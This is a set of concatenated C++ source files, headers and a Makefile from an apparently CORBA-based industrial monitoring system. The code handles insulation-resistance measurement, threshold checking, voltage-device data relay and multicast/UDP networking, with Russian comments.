perror("can't join group:"); sFd = -1; } } memset((char *)&server_saddr, 0, sizeof(struct sockaddr_in)); server_saddr.sin_family = AF_INET; server_saddr.sin_port = htons(_port); server_saddr.sin_addr.s_addr = inet_addr(_addr_group); } class ns_net * make_client_multicast (unsigned short int port, const char *address) { return new ns_multicast(port, false, address); } class ns_net * make_client_unicast (unsigned short int port, const char *address) { return new ns_unicast(port, false, address); } class ns_net * make_server_multicast (unsigned short int port, const char *address) { return new ns_multicast(port, true, address); } class ns_net * make_server_unicast (unsigned short int port, const char *address) { return new ns_unicast(port, true, address); } <file_sep>/CircleIsol/src/CircleIsolImpl.cpp // This is CRTC generator created CircleIsolImpl.cpp file. [ workstation None at Fri Nov 13 10:28:04 2009 ] #include "CircleIsolImpl.h" #include <math.h> stdc::CircleIsolImpl::CircleIsolImpl( const crtc::ItemContext* _cntx ): CircleIsolImplBase( _cntx ){ _in_uart = NULL; _in_parent = NULL; _in_state = stdc::CircleIsolImpl::END; _in_waitPeriod = 7; _in_Rdop = 50; } stdc::CircleIsolImpl::~CircleIsolImpl(){ } void stdc::CircleIsolImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::CircleIsolImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); // stage two activation ( after dom tree building done ) if( _in_uart = dynamic_cast<stdc::UartImpl*>( find__("uart") ) ){ registerForStep__( ); _in_parent = dynamic_cast<crtc::ItemImpl*>(parentNode); } } void stdc::CircleIsolImpl::deactivate__( ){ // stage before dctor called } void stdc::CircleIsolImpl::mode(CORBA::Long _l){ if (_l) _in_Rdop = 100; else _in_Rdop = 50; } void stdc::CircleIsolImpl::work( CORBA::Long _l ){ if (_in_ion.length() == 0 || _in_isch.length() == 0 || _in_side.length() == 0 || _in_uns.length() == 0 ) return; _in_state = stdc::CircleIsolImpl::BEGIN; } void stdc::CircleIsolImpl::stop( CORBA::Long _l ){ if (_in_ion.length() == 0 || _in_isch.length() == 0 || _in_side.length() == 0 || _in_uns.length() == 0 ) return; _in_state = stdc::CircleIsolImpl::END; _in_uart->uns4i_Isol( _in_uns, 0 ); _in_uart->ion_off(_in_ion, atol(_in_side.c_str() ) ); //выключаем ИОН _in_cntr = 0; } void stdc::CircleIsolImpl::step__(){ if ( _in_uart->uns4i_checkIsol(_in_uns ) ){//проверка что включен режим изоляции на УНС switch(_in_state){ case stdc::CircleIsolImpl::BEGIN: _in_uart->uns4i_setIsolVal(_in_uns, 0.0, atol( _in_isch.c_str() ) ); if(_in_debug) std::cout<<"==== CircleIsolImpl::BEGIN;\n"; if ( !_in_uart->ion_is500v(_in_ion, atol(_in_side.c_str() ) ) && _in_volt500 ){ //Если вкл 500В, то надо переключить на 50 _in_uart->ion_u50_500v(_in_ion, atol(_in_side.c_str() )); } _in_uart->ion_direct(_in_ion, (int)atol(_in_side.c_str() ) ); _in_cntr = 0; _in_state = stdc::CircleIsolImpl::WAIT_DIR; break; case stdc::CircleIsolImpl::WAIT_DIR: //Ожидаем измерения с УНСа _in_cntr++; if( _in_cntr>= _in_waitPeriod){ // std::cerr<<" UNSс::poll() switch on READ on DIRECT "<<getId__()<<std::endl; _in_state = stdc::CircleIsolImpl::READ_DIR; _in_cntr = 0; } break; case stdc::CircleIsolImpl::READ_DIR: _in_Ival = _in_uart->uns4i_getIval(_in_uns, atol(_in_isch.c_str() ) ); if(_in_debug) std::cout<<"==== CircleIsol:: Direrction I: "<<_in_Ival<<std::endl; if ( _in_uart->ion_is500v(_in_ion, atol(_in_side.c_str() ) ) ) //читеем значение тока утечки и пересчитываем в сопротивление цепи resist [0] = 500/_in_Ival; else resist [0] = 50/_in_Ival; if (resist[0] < 0) resist[0] = -1* resist[0]; resist[0] = resist[0] * 1000; //Корректировка, на кОм - олег присылает ток микроапмерах if ( _in_uart->ion_is500v(_in_ion, atol(_in_side.c_str() ) ) ){ //Если вкл 500В, то надо переключить на 50 _in_uart->ion_u50_500v(_in_ion, atol(_in_side.c_str() )); _in_state = stdc::CircleIsolImpl::WAIT_DIR_50V; } else { _in_uart->ion_undirect(_in_ion, atol(_in_side.c_str() )); //перекл на обратн пол-ность _in_state = stdc::CircleIsolImpl::WAIT_UNDIR; } break; case stdc::CircleIsolImpl::WAIT_DIR_50V: //переключаем на обратн пол-ность _in_uart->ion_undirect(_in_ion, atol(_in_side.c_str() )); _in_state = stdc::CircleIsolImpl::WAIT_DIR_500V; break; case stdc::CircleIsolImpl::WAIT_DIR_500V: _in_uart->ion_u50_500v(_in_ion, atol(_in_side.c_str() )); //включаем 500В на обратной полярсности _in_state = stdc::CircleIsolImpl::WAIT_UNDIR; break; case stdc::CircleIsolImpl::WAIT_UNDIR: //Ожидаем измерения с УНСа _in_cntr++; if( _in_cntr>= _in_waitPeriod){ // std::cerr<<" IsolPanel::step__() switch on READ on UnDIRECT "<<getId__()<<std::endl; _in_state = stdc::CircleIsolImpl::READ_UNDIR; _in_cntr = 0; } break; case stdc::CircleIsolImpl::READ_UNDIR: //читаем новую циру _in_Ival = _in_uart->uns4i_getIval(_in_uns, atol(_in_isch.c_str() ) ); if(_in_debug) std::cout<<"==== CircleIsol::Undirerction I: "<<_in_Ival<<std::endl; if ( _in_uart->ion_is500v(_in_ion, atol(_in_side.c_str() ) ) ) //читеем значение тока утечки и пересчитываем в сопротивление цепи resist [1] = 500/_in_Ival; else resist [1] = 50/_in_Ival; if (resist[1] < 0) resist[1] = -1*resist[1]; resist[1] = resist[1]*1000; resist [2] = 2*( ((_in_Rdop+resist[0])*(_in_Rdop+resist[1]))/(2*_in_Rdop+resist[0]+resist[1]) )-_in_Rdop; resist [2] = resist [2] / 1000; if(_in_debug) std::cout<<"==== CircleIsol.***Изоляция по изолированному каналу "<<getId__()<<" равна "<<resist [2]<<"МОм"<<std::endl; _in_uart->uns4i_setIsolVal(_in_uns, resist[2], atol(_in_isch.c_str() ) ); if ( _in_uart->ion_is500v(_in_ion, atol(_in_side.c_str() ) ) ){ //Если вкл 500В, то надо переключить на 50 _in_uart->ion_u50_500v(_in_ion, atol(_in_side.c_str() )); _in_state = stdc::CircleIsolImpl::WAIT_GRND_50V; } else { _in_uart->ion_ground(_in_ion, atol(_in_side.c_str() )); //переключаем ИОН на землю _in_state = stdc::CircleIsolImpl::STOP; } break; case stdc::CircleIsolImpl::WAIT_GRND_50V: _in_uart->ion_ground(_in_ion, atol(_in_side.c_str() )); //переключаем ИОН на землю //_in_state = stdc::CircleIsolImpl::WAIT_GRND_500V; _in_state = stdc::CircleIsolImpl::STOP; break; case stdc::CircleIsolImpl::WAIT_GRND_500V: _in_uart->ion_u50_500v(_in_ion, atol(_in_side.c_str() ));//включаем 500В на обратной полярсности _in_state = stdc::CircleIsolImpl::STOP; break; case stdc::CircleIsolImpl::STOP: _in_cntr++; if( _in_cntr>= 2 ) { _in_uart->ion_off(_in_ion, atol(_in_side.c_str() ) ); //выключаем ИОН _in_state = stdc::CircleIsolImpl::END; if(_in_debug) std::cerr<<"==== CircleIsol. Stop resist count ALGO. "<<getId__()<<std::endl; _in_cntr = 0; CORBA::Any _a; _a<<= resist[2]; if (_in_parent) _in_parent->setAttr__("isolValue", _a); else { if(crtc::ItemImpl* sh = find__("stdc_Controller") ) sh->setAttr__("isolValue", _a); else std::cerr<<"=== CircleIsol. Измереная величина изоляции никуда не передана, не нашли кому отдать."<<std::endl; } } break; case stdc::CircleIsolImpl::END: break; } } // else{ // std::cout<<" Isol dim algo STOP;\n"; // } } <file_sep>/CircleIsol/src/test.cpp #include <iostream> #include <crtc.hh> #include <space.h> #include <stdc/CircleIsol.hh> int main( int argc, char* argv[]){ crtc::Space* space = crtc::createSpace(argc,argv); space->activate(); crtc::Server_var* server = reinterpret_cast<crtc::Server_var* >(space->server()); crtc::Provider_var pro = (*server)->createProvider( "test" ); crtc::Item_var item = pro->createItem("IDL:stdc/CircleIsol:1.0"); if( CORBA::is_nil(item)){ std::cout<<" Object stdc::CircleIsol not created "<<std::endl; }else{ std::cout<<" Object stdc::CircleIsol well created "<<std::endl; } return 0; } <file_sep>/Limits/src/LimitsImpl.cpp // This is CRTC generator created LimitsImpl.cpp file. [ workstation None at Sat Nov 13 11:24:48 2010 ] #include "LimitsImpl.h" #include <locale.h> #include <stdio.h> #include <stdlib.h> stdc::Ilimits::~Ilimits(){ } stdc::LimitsImpl::LimitsImpl( const crtc::ItemContext* _cntx ): LimitsImplBase( _cntx ){ } stdc::LimitsImpl::~LimitsImpl(){ } void stdc::LimitsImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::LimitsImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); // stage two activation ( after dom tree building done ) /*В детях этого аттрибута должны лежать данные о порогах пример см в idl*/ for( crtc::ItemNode* child = firstChild; child; child = child->nextSibling ){ if ( isN(child, 0, "limit") ){ if ( child->hasAttribute("unit") ) _in_limits[child->getAttributeText("unit")] = sillData(atof( replaceDot(child->getAttributeText("voltMax")) ), atof( replaceDot(child->getAttributeText("voltMin")) ), atof( replaceDot(child->getAttributeText("isolMax")) ), atof( replaceDot(child->getAttributeText("isolMin")) ), child->getAttributeText("voltFault"), child->getAttributeText("isolFault") ); if ( child->hasAttribute("voltFault") ) _in_smap[child->getAttributeText("voltFault")] = true; if ( child->hasAttribute("isolFault") ) _in_smap[child->getAttributeText("isolFault")] = true; } } if (_in_debug){ printf("------------------Установленные пороговые значения----------------\n"); printf("---Значение 0,0 в диапазоне указывает на неустановленный порог----\n"); for(LimitsMap::iterator b = _in_limits.begin(); b != _in_limits.end(); ++b){ printf("Объект \"%s\" пороги по напряжению [%2.2f, %2.2f] импульс ТЗК \"%s\", по сопротивлению изоляции [%2.2f, %2.2f], импульс ТЗК \"%s\" \n", b->first.c_str(), b->second.voltMin, b->second.voltMax, b->second.voltF.c_str(), b->second.isolMin, b->second.isolMax, b->second.isolF.c_str() ); } printf("------------------------------------------------------------------\n"); } } void stdc::LimitsImpl::deactivate__( ){ // stage before dctor called } bool stdc::LimitsImpl::checkLimit(std::string unit, float value, bool isVolt){ LimitsMap::iterator fnd = _in_limits.find(unit); if (fnd == _in_limits.end() ){ if (_in_debug) printf("stdc::Limits: Объект %s не найден в списке пороговых значений, проверте адаптацию, компонент <stdc:Limits ...\n", unit.c_str() ); /*Если данные по порогам не найдены для этого объекта то сказать, что число в норме, так как не с чем сравнивать*/ return true; } bool ret; SillsMap::iterator iter; if (isVolt){ //Проверяем пороги по напряжению ret = fnd->second.checkVolt(value); iter = _in_smap.find(fnd->second.voltF); if (iter != _in_smap.end()) iter->second = ret; } else{ //проверяем порги по изоляции ret = fnd->second.checkIsol(value); iter = _in_smap.find(fnd->second.isolF); if (iter != _in_smap.end()) iter->second = ret; if (_in_debug ) printf("stdc::Limits: Объект %s проверка порога изоляции[%2.f] result[%d]\n", unit.c_str(), value, ret ); } return ret; } bool stdc::LimitsImpl::getTZKImpl( std::string _str, bool& _b ){ SillsMap::iterator fnd = _in_smap.find(_str ); if ( fnd != _in_smap.end() ){ _b = fnd->second; if (_in_debug ) printf("stdc::Limits: Запрос бита ошибки изоляции %s значение бита %d\n", _str.c_str(), _b ); return true; } return false; } const char* stdc::LimitsImpl::replaceDot(std::string _str){ if (_str.length() == 0 ) return "0"; struct lconv *locale = localeconv( ); if (!strcmp(",", locale->decimal_point )){//если в локале разделитель запятая if (_str.find(".") != std::string::npos) _str.replace(_str.find("."), 1, "," ); return _str.c_str(); } else if (!strcmp(".", locale->decimal_point )){//если в локае разделитель точка if (_str.find(",") != std::string::npos) _str.replace(_str.find(","), 1, "." ); return _str.c_str(); } } <file_sep>/UNS4iNG/src/UNS4iNGImpl.cpp // This is CRTC generator created UNS4iNGImpl.cpp file. [ workstation None at Wed May 20 17:58:32 2009 ] #include "UNS4iNGImpl.h" stdc::UNS4iNGImpl::UNS4iNGImpl( const crtc::ItemContext* _cntx ): UNS4iNGImplBase( _cntx ){ _uart = 0; _gui = 0; _uns_type = stdc::notype; } stdc::UNS4iNGImpl::~UNS4iNGImpl(){ } void stdc::UNS4iNGImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::UNS4iNGImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); _in_name = getId__(); _uart = static_cast<stdc::UartImpl*>( find__("uart") ); registerForPoll__(1.0); _uns_type = _uart->getUnsType4Ak(_in_name); if (_uns_type == stdc::notype){ crtcLog<<"Amp::UNS4iNG::Error не правильно указано id УНС в аттрибуте id, при адаптации данного модуля.\n"; crtcEXIT("!!! Критическая ошибка !!!\n"); } } void stdc::UNS4iNGImpl::deactivate__( ){ // stage before dctor called } void stdc::UNS4iNGImpl::poll__( ){ _gui = _uart->uns4i_Gui(_in_name ); bool st; if (_gui || _uart->diag_get(_in_name, st ) ){ propagateData( st ); } } void stdc::UNS4iNGImpl::propagateData( int _l){ if (_l){ Obj_1 (_gui->obj[0] ); Obj_2 (_gui->obj[1] ); Obj_3 (_gui->obj[2] ); Obj_4 (_gui->obj[3] ); if (_uns_type == stdc::frc){ VDC_1( _gui->VDC[0] ); VDC_2( _gui->VDC[1] ); VDC_3( _gui->VDC[2] ); VDC_4( _gui->VDC[3] ); VAC_1( _gui->VAC[0] ); VAC_2( _gui->VAC[1] ); VAC_3( _gui->VAC[2] ); VAC_4( _gui->VAC[3] ); VACf_1( _gui->VACf[0] ); VACf_2( _gui->VACf[1] ); VACf_3( _gui->VACf[2] ); VACf_4( _gui->VACf[3] ); Phase_1( _gui->Phase[0] > 0 ? _gui->Phase[0] : -_gui->Phase[0] ); Phase_2( _gui->Phase[1] > 0 ? _gui->Phase[1] : -_gui->Phase[1] ); Phase_3( _gui->Phase[2] > 0 ? _gui->Phase[2] : -_gui->Phase[2] ); Phase_4( _gui->Phase[3] > 0 ? _gui->Phase[3] : -_gui->Phase[3] ); } else if (_uns_type == stdc::trc){ VDC_1 (_gui->TRC[0].VDC); VDC_2 (_gui->TRC[1].VDC); VDC_3 (_gui->TRC[2].VDC); VDC_4 (_gui->TRC[3].VDC); VAC_1 (_gui->TRC[0].VAC); VAC_2 (_gui->TRC[1].VAC); VAC_3 (_gui->TRC[2].VAC); VAC_4 (_gui->TRC[3].VAC); VACf420_1 (_gui->TRC[0].VACf[0]); VACf420_2 (_gui->TRC[1].VACf[0]); VACf420_3 (_gui->TRC[2].VACf[0]); VACf420_4 (_gui->TRC[3].VACf[0]); VACf480_1 (_gui->TRC[0].VACf[1]); VACf480_2 (_gui->TRC[1].VACf[1]); VACf480_3 (_gui->TRC[2].VACf[1]); VACf480_4 (_gui->TRC[3].VACf[1]); VACf580_1 (_gui->TRC[0].VACf[2]); VACf580_2 (_gui->TRC[1].VACf[2]); VACf580_3 (_gui->TRC[2].VACf[2]); VACf580_4 (_gui->TRC[3].VACf[2]); VACf720_1 (_gui->TRC[0].VACf[3]); VACf720_2 (_gui->TRC[1].VACf[3]); VACf720_3 (_gui->TRC[2].VACf[3]); VACf720_4 (_gui->TRC[3].VACf[3]); VACf780_1 (_gui->TRC[0].VACf[4]); VACf780_2 (_gui->TRC[1].VACf[4]); VACf780_3 (_gui->TRC[2].VACf[4]); VACf780_4 (_gui->TRC[3].VACf[4]); Fcur_1 (_gui->TRC[0].Fcur); Fcur_2 (_gui->TRC[1].Fcur); Fcur_3 (_gui->TRC[2].Fcur); Fcur_4 (_gui->TRC[3].Fcur); Fmod_1 (_gui->TRC[0].Fmod); Fmod_2 (_gui->TRC[1].Fmod); Fmod_3 (_gui->TRC[2].Fmod); Fmod_4 (_gui->TRC[3].Fmod); } } else{ Obj_1 ( "сбой ответа УНС" ); Obj_2 ( "сбой ответа УНС" ); Obj_3 ( "сбой ответа УНС" ); Obj_4 ( "сбой ответа УНС" ); if (_uns_type == stdc::frc){ VDC_1( 0.0 ); VDC_2( 0.0 ); VDC_3( 0.0 ); VDC_4( 0.0 ); VAC_1( 0.0 ); VAC_2( 0.0 ); VAC_3( 0.0 ); VAC_4( 0.0 ); VACf_1( 0.0 ); VACf_2( 0.0 ); VACf_3( 0.0 ); VACf_4( 0.0 ); Phase_1( 0.0 ); Phase_2( 0.0 ); Phase_3( 0.0 ); Phase_4( 0.0 ); } else if (_uns_type == stdc::trc){ VDC_1 (0.0); VDC_2 (0.0); VDC_3 (0.0); VDC_4 (0.0); VAC_1 (0.0); VAC_2 (0.0); VAC_3 (0.0); VAC_4 (0.0); VACf420_1 (0.0); VACf420_2 (0.0); VACf420_3 (0.0); VACf420_4 (0.0); VACf480_1 (0.0); VACf480_2 (0.0); VACf480_3 (0.0); VACf480_4 (0.0); VACf580_1 (0.0); VACf580_2 (0.0); VACf580_3 (0.0); VACf580_4 (0.0); VACf720_1 (0.0); VACf720_2 (0.0); VACf720_3 (0.0); VACf720_4 (0.0); VACf780_1 (0.0); VACf780_2 (0.0); VACf780_3 (0.0); VACf780_4 (0.0); } } } <file_sep>/CircleIsol/src/Makefile # This is CRTC generator created for IDL:stdc/CircleIsol:1.0 file. [ workstation None at Fri Nov 13 10:28:04 2009 ] include /usr/include/crtc/makefile.inc MODULE=stdc ITEM=CircleIsol VERSION=1_0 # Flags OPTIMIZE = -O2 #DEBUG = -g #TEMPLATE_DEPTH = -ftemplate-depth-40 CLIB_FLAGS = -fpic LIBRARY_FLAGS = -shared INCDIR = $(CORBA_INCLUDE) -I$(CRTC_INCLUDE_PATH) -I$(CRTC_INCLUDE_ITEM_PATH) -I$(CRTC_INCLUDE_ITEM_PATH)/$(MODULE) -I./ #DEFS = -DHAVE_CONFIG_H CPLUSPLUS = $(CXX) SHELL = /bin/sh IDLBASE=../idl IDL_COMPILE_CXX = $(CORBA_IDLCP) -bcxx -I$(CORBA_IDL_PATH) -I$(INCDIR) -I$(IDLBASE) IDL_COMPILE_CRTC = $(CORBA_IDLCP) -bcrtc -p$(CRTC_BEND) -I$(CORBA_IDL_PATH) -I$(INCDIR) -I$(IDLBASE) GUI_CFLAGS = # ` pkg-config --cflags gtk+-2.0 ` -I$(CRTC_INCLUDE_ITEM_PATH)/gui #`pkg-config --cflags libgnomecanvas-2.0` GUI_LIBS = # ` pkg-config --libs gtk+-2.0 ` -lgui_gtkws_1_0 #`pkg-config --libs libgnomecanvas-2.0` CFLAGS = $(CLIB_FLAGS) $(DEBUG) $(OPTIMIZE) $(CORBA_INCLUDE) $(GUI_CFLAGS) LFLAGS = $(LIBRARY_FLAGS) $(CORBA_LIBS) $(CRTC_LIB_PATH) -l$(CRTC_SERVER_LIB) $(GUI_LIBS) LFLAGS_EXECUTABLE = $(CORBA_LIBS) $(CRTC_LIB_PATH) -L./ COMPILE = $(CPLUSPLUS) $(CFLAGS) $(INCDIR) $(DEFS) # control idl defines ITEM_IDL_HH = $(ITEM).hh ITEM_IDL = $(IDLBASE)/$(ITEM).idl ITEM_SRC = $(ITEM)SK.cc ITEM_IMPL_SRC = $(ITEM)Impl.cpp $(ITEM)ImplBase.cc ITEM_IMPL_OBJ = $(ITEM)SK.o $(ITEM)ImplBase.o $(ITEM)Impl.o # control shared object defines LIBITEM = lib$(MODULE)_$(ITEM)_$(VERSION).so LIBITEM_AKA = -l$(MODULE)_$(ITEM)_$(VERSION) LIBITEM_OBJECTS = $(ITEM_IMPL_OBJ) LIBITEM_LIBS = -lstdc_Uart_1_0 LIBITEM_TEMPLATE = $(ITEM).template TEST = test TEST_OBJECTS = test.o $(ITEM)SK.o TEST_LIBS = -l$(CRTC_SERVER_LIB) PRODUCE = $(ITEM_IDL_HH) $(LIBITEM) all: $(PRODUCE) #$(TEST) $(ITEM_SRC): $(ITEM_IDL) $(CTMAKE) $(ITEM_IDL_HH): $(ITEM_IDL) $(IDL_COMPILE_CXX) $(ITEM_IDL) $(IDL_COMPILE_CRTC) $(ITEM_IDL) $(LIBITEM): $(LIBITEM_OBJECTS) $(CC) $(LIBITEM_OBJECTS) -o $(LIBITEM) $(LFLAGS) $(LIBITEM_LIBS) $(TEST): $(TEST_OBJECTS) $(ITEM_SRC) $(CC) $(LFLAGS_EXECUTABLE) $(TEST_OBJECTS) $(TEST_LIBS) -o $(TEST) .SUFFIXES: .c .cpp .idl .h .c.o: $(CC) $(CFLAGS) $(INKDIR) -c $< .cpp.o: $(COMPILE) -c $< .cc.o: $(COMPILE) -c $< .idl.h: $(IDL_COMPILE_CXX) $< $(IDL_COMPILE_CRTC) $< clean: rm -f *.o $(LIBITEM) *.hh *.cc veryclean: make clean; rm -f *.hh *.cc Makefile remake: make clean; ctmake; make install install: $(PRODUCE) [ -d $(CRTC_INCLUDE_ITEM_PATH)/$(MODULE) ] || mkdir $(CRTC_INCLUDE_ITEM_PATH)/$(MODULE) [ -d $(CRTC_ITEM_TEMPLATES_PATH)/$(MODULE) ] || mkdir $(CRTC_ITEM_TEMPLATES_PATH)/$(MODULE) cp $(ITEM).hh *.h $(CRTC_INCLUDE_ITEM_PATH)/$(MODULE) strip $(LIBITEM) cp $(LIBITEM) $(CRTC_ITEM_PATH) cp $(ITEM_IDL) $(CRTC_INCLUDE_ITEM_PATH)/$(MODULE) cp *.template $(CRTC_ITEM_TEMPLATES_PATH)/$(MODULE) <file_sep>/Controller/src/multicast.h //////////////////////////////////////////////////////////////////////////// // Note! // Remember, you should up multicast network by the route utilit: // route add -net 172.16.17.32 netmask 172.16.17.32 eth0 // group from 192.168.127.12 - 192.168.127.12 are rezerved, don't use. //////////////////////////////////////////////////////////////////////////// #ifndef _STDC_NetTRANSPORTS_ #define _STDC_NetTRANSPORTS_ #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> namespace stdc { class NetTransport { public: virtual ~NetTransport( ); virtual int GetPacket ( char * )=0; virtual int SndPacket ( char *, int )=0; }; enum {NET_CLIENT=0, NET_SERVER }; class Multicast: public NetTransport { private: int Sock; int Size; struct sockaddr_in server_saddr; struct sockaddr_in client_saddr; struct ip_mreq imr; /* multicast request structure*/ struct in_addr ifaddr; /* multicast outgoing interface */ static const int mtu_size = 1500; // maximum transfer unit int sockAddrSize; protected: int Close (); public: Multicast ( unsigned long _port, bool _direction, char * _group, int _ttl_out = 1 ); virtual ~Multicast( ); virtual int GetPacket ( char* ); //blocking method virtual int SndPacket ( char*, int); }; class Udp: public NetTransport { int _in_sock; struct sockaddr_in dest; static const int mtu_size = 1500; // maximum transfer unit int sockAddrSize; public: Udp( unsigned long _port, bool _direction, char* _ip, int _ttl_out = 1 ); virtual ~Udp( ); virtual int GetPacket ( char* ); //blocking method virtual int SndPacket ( char*, int); }; } #endif //_STDC_NetTRANSPORTS_ <file_sep>/UNS4iNG/src/UNS4iNGImpl.h // This is CRTC generator created UNS4iNGImpl.h file. [ workstation None at Wed May 20 17:58:32 2009 ] #ifndef _stdc_UNS4iNGImpl_h_ #define _stdc_UNS4iNGImpl_h_ #include "UNS4iNGImplBase.hh" #include <map> #include <stdc/UartImpl.h> namespace stdc{ class UNS4iNGImpl: public UNS4iNGImplBase { public: UNS4iNGImpl( const crtc::ItemContext* ); ~UNS4iNGImpl(); public: virtual void activate__( const char* id ); virtual void deactivate__( ); virtual void applyAttrs(); virtual void poll__(); private: void propagateData( int _l); stdc::UartImpl *_uart; stdc::Gui_Send *_gui; stdc::uns_type _uns_type; }; }; #endif //_stdc_UNS4iNGImpl_h_ <file_sep>/SectionProxy/src/SectionProxyImpl.cpp // This is CRTC generator created SectionProxyImpl.cpp file. [ workstation None at Fri Feb 13 15:07:57 2009 ] #include "SectionProxyImpl.h" stdc::SectionProxyImpl::SectionProxyImpl( const crtc::ItemContext* _cntx ): SectionProxyImplBase( _cntx ){ } stdc::SectionProxyImpl::~SectionProxyImpl(){ } void stdc::SectionProxyImpl::activate__( const char* ){ // stage one activation (after creation ) } void stdc::SectionProxyImpl::applyAttrs(){ crtc::ItemNode::applyAttrs(); // stage two activation ( after dom tree building done ) } void stdc::SectionProxyImpl::deactivate__( ){ // stage before dctor called } <file_sep>/CircleIsol/src/CircleIsolImpl.h // This is CRTC generator created CircleIsolImpl.h file. [ workstation None at Fri Nov 13 10:28:04 2009 ] #ifndef _stdc_CircleIsolImpl_h_ #define _stdc_CircleIsolImpl_h_ #include "CircleIsolImplBase.hh" #include <stdc/UartImpl.h> namespace stdc{ class CircleIsolImpl: public CircleIsolImplBase{ public: CircleIsolImpl( const crtc::ItemContext* ); ~CircleIsolImpl(); public: virtual void activate__( const char* id ); virtual void deactivate__( ); virtual void applyAttrs(); virtual void work(CORBA::Long _l); virtual void stop(CORBA::Long _l); virtual void step__(); virtual void mode(CORBA::Long _l); private: stdc::UartImpl *_in_uart; crtc::ItemImpl *_in_parent; typedef enum { BEGIN, WAIT_DIR, WAIT_DIR_50V, WAIT_DIR_500V, READ_DIR, WAIT_UNDIR, WAIT_GRND_50V, WAIT_GRND_500V, READ_UNDIR, STOP, END } STATES; STATES _in_state; double _in_Ival; double _in_Rdop; CORBA::Double resist [3]; int _in_cntr; }; }; #endif //_stdc_CircleIsolImpl_h_ <file_sep>/Controller/src/multicast.cpp //multicast.cpp //copyright by <NAME>. //e-mail: <EMAIL> #include <multicast.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <cstdio> #include <cstdlib> #include <cstring> #include <iostream> using namespace stdc; NetTransport::~NetTransport() { } Multicast::Multicast (unsigned long _port, bool _direction, char * _addr_group, int _ttl_out) { sockAddrSize = sizeof (struct sockaddr_in); imr.imr_multiaddr.s_addr = inet_addr (_addr_group); imr.imr_interface.s_addr = htonl(INADDR_ANY); ifaddr.s_addr = htonl(INADDR_ANY); bzero( (char *)&server_saddr, sizeof(struct sockaddr_in) ); server_saddr.sin_family = AF_INET; server_saddr.sin_port = htons(_port); server_saddr.sin_addr.s_addr = imr.imr_multiaddr.s_addr; if ((Sock = socket(AF_INET, SOCK_DGRAM, 0))<=0 ) { perror ("can't open socket"); exit (1); } /* join group */ if(setsockopt( Sock, IPPROTO_IP, IP_ADD_MEMBERSHIP,&imr, sizeof(struct ip_mreq)) != 0 ) { perror( "can't join to multicast group" ); exit(1); } /* set multicast options */ if (setsockopt(Sock, IPPROTO_IP, IP_MULTICAST_IF, &ifaddr, sizeof(ifaddr)) != 0) { perror ("can't set multicast source interface"); exit(1); } int optval = 1; if (setsockopt (Sock, SOL_SOCKET, SO_REUSEADDR, &optval, sizeof (int)) != 0) { perror ("can't reuse requested port"); exit (1); } int nbuf; nbuf = _ttl_out; if (setsockopt (Sock, IPPROTO_IP, IP_MULTICAST_TTL, &nbuf, sizeof (int)) != 0) { perror ("can't increase multicast packet TTL "); exit (1); } if (_direction) { // we are the server socket printf ("Server Side...\n"); if (bind(Sock, (struct sockaddr *) &server_saddr, sizeof(struct sockaddr_in)) != 0) { perror("Binding multicast socket"); exit(1); } } } Multicast::~Multicast() { close ( Sock ); } int Multicast::GetPacket (char * _buff) { int size = 0; if ( ( size = recvfrom (Sock, _buff, mtu_size, 0, (struct sockaddr *) &client_saddr, (socklen_t*)&sockAddrSize) ) <= 0 ) { perror ("multicast snd"); return 0; } return size; } int Multicast::SndPacket (char * _buff, int _size) { int size = 0; if ( (size = sendto (Sock, _buff, _size, 0, (struct sockaddr *) &server_saddr, sockAddrSize) ) <= 0 ) { perror ("multicast snd"); return -1; } return size; } /*-----------------------Udp--------------------------*/ Udp::Udp( unsigned long _port, bool _direction, char* _ip, int _ttl_out ) { sockAddrSize = sizeof (struct sockaddr_in); _in_sock = socket(AF_INET, SOCK_DGRAM, 0); bzero(&dest, sizeof(dest)); dest.sin_family = AF_INET; dest.sin_port = htons ( _port ); if ( _direction ) { //server side dest.sin_addr.s_addr = INADDR_ANY; if( bind( _in_sock, (sockaddr*)&dest, sizeof(dest) ) ) {//error ocur std::cerr<<"ksa:Socket:initUdp, server, can`t connect to "<<_ip<<":"<<_port<<std::endl; return; } } else { //client side inet_aton( _ip, &dest.sin_addr); if ( connect (_in_sock, (sockaddr*)&dest, sizeof(dest)) ) { std::cerr << "ksa:Socket:initUdp, client, can`t connect to "<<_ip<<":"<<_port<<std::endl; } } } Udp::~Udp( ) { close ( _in_sock ); } int Udp::GetPacket ( char* _ptr ) { int size = 0; if ( ( size = recv (_in_sock, _ptr, mtu_size, 0 ) ) <= 0 ) { perror ("multicast snd"); return 0; } return size; } int Udp::SndPacket ( char* _ptr, int _size ) { return send(_in_sock, _ptr, _size, 0); } <file_sep>/Uart/src/common.h #include <string.h> #include <vector> namespace stdc{ typedef unsigned int uint; typedef unsigned char uchar; typedef unsigned long ulong; typedef unsigned short ushort; enum ak_type {ak6d2, ak3d4}; enum uns_type {frc=0, trc, pa, notype}; typedef struct { std::string title; //имя подклбюченного объекта bool isIsol; //для изоляции - то что включен новый объект, она его вычитает и сбросит в 0 float Rdop; //если по двум проводам 50кОм, если по одному то 100кОм long Phdop; //коррекция по фазе, для ФРЦ, если ПЧ питаются от разных фаз. bool is500v; //Включены ли 500в в этом изолированном канале } Exchange; struct channelTRC{ float VDC; float VAC; float VACf[5]; ushort Fcur; ushort Fmod; } __attribute((packed)); typedef struct { float VDC[4]; float VAC[4]; float VACf[4]; short Phase[4]; struct channelTRC TRC[4]; bool autoAmpl[4]; bool handAmpl[4]; bool isolOnOff; ushort Diag; double Isol[4]; char obj[4][25]; bool is500v[4]; //Включены ли 500в в этом изолированном канале } Gui_Send; typedef struct { unsigned long process; unsigned long crc_fail; unsigned long not_answer; } Module_Fails; struct channelPA{ float Vrms[3]; //phase valtage first side(channel) float Irms[3]; //valtage from phase current sensor first side certainly float Fa; //Phase A frequencies first channel float Watt[3]; //activ power 1st channel float VAR[3]; //reactive power (ВАР) float VA[3]; //full power }__attribute((packed)); struct dataPA{ float Vbat; struct channelPA Val[2]; float Reserved[3]; }__attribute((packed)); typedef struct dataPA PA_Data; struct stdReport{ time_t _time; char _name[10];//имя УНС uns1 or 